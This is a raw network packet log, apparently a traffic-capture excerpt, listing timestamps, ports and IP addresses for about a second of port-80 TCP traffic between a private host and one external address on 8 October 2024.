Oct 8, 2024 00:13:30.923186064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923187971 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923187971 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923187971 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923198938 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923211098 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923253059 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923253059 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923266888 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923438072 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923450947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923460960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923475027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923494101 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923505068 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923517942 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923518896 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923518896 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923520088 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923532009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923543930 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923553944 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923564911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923578024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923590899 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923590899 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923590899 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923590899 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923609972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923621893 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923631907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923666000 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923677921 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923680067 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923680067 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923681021 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923681021 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923688889 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923702002 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923733950 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923733950 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923815966 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923830032 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923842907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923854113 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923866034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923877954 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923911095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923911095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923911095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.923939943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923988104 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.923999071 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924011946 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924027920 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924041033 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924046993 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924046993 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924046993 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924053907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924063921 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924072981 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924129963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924129963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924129963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924149036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924160004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924170017 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924185038 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924201965 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924201965 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924246073 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924276114 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924285889 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924295902 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924309015 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924319029 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924330950 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:30.924362898 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924362898 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924362898 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:30.924390078 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.002532959 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002597094 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002613068 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002629042 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002646923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002657890 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002660036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.002670050 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.002744913 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.002744913 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005160093 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005213022 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005223036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005242109 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005363941 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005404949 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005420923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005450010 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005454063 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005454063 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005454063 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005455017 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005485058 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005495071 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005508900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005510092 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005577087 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005589008 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005599976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005609989 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005620003 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005620956 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005621910 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005620956 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005635977 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005662918 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005662918 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005669117 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005686998 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005700111 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005713940 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005732059 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005739927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005739927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005739927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005739927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005742073 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005754948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005764008 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005774021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005784988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005815029 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005815029 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005846024 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005863905 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005876064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005889893 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005914927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005914927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.005959034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005970955 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.005981922 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006014109 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006025076 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006041050 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006042004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006042004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006134987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006146908 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006158113 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006176949 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006177902 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006201982 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006239891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006239891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006342888 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006412983 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006423950 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006434917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006468058 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006468058 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006468058 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006673098 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006684065 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006695032 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006705046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006716013 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006726027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006736040 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006747007 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006764889 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006764889 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006764889 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006871939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006887913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006901979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006913900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006925106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006934881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006936073 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006936073 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006936073 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.006948948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006961107 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006970882 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.006994963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007003069 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007004976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007005930 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007013083 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007023096 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007034063 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007044077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007044077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007044077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007045031 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007044077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007061005 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007078886 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007091999 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007102966 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007113934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007114887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007114887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007114887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007124901 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007137060 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007150888 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007153988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007159948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007206917 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007206917 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007206917 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007206917 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007222891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007236004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007251024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007261992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007272959 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007282972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007298946 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007313013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007313013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007313013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007347107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007405043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007416964 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007426977 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007440090 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007451057 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007462025 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007472992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007483006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007494926 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007503986 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007518053 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007525921 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007525921 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007525921 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007525921 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007528067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007539988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007571936 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007571936 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007642031 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007656097 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007667065 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007677078 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007688046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007699013 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007709980 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007719994 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007730961 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007741928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007751942 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007751942 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007751942 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007751942 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007754087 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007766008 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.007853031 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.007853031 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.085128069 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085160017 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085177898 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085196972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085206985 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085213900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085222006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.085356951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.085356951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.104809999 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104851007 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104871988 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104881048 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104890108 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104897976 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104907990 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104926109 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104931116 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.104938984 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104953051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.104964972 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.104964972 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105093002 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105099916 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105107069 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105118990 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105129004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105139971 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105149984 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105159998 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105170965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105199099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105199099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105199099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105199099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105333090 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105349064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105360031 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105370045 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105370045 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105370045 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105381012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105391979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105402946 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105418921 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105428934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105439901 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105447054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105447054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105447054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105447054 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105452061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105464935 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105475903 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105487108 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105498075 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105504990 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105504990 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105638981 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105649948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105659962 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105675936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105688095 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105688095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105688095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105688095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105688095 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.105701923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.105711937 CEST	80	49704	185.215.113.37	192.168.2.8
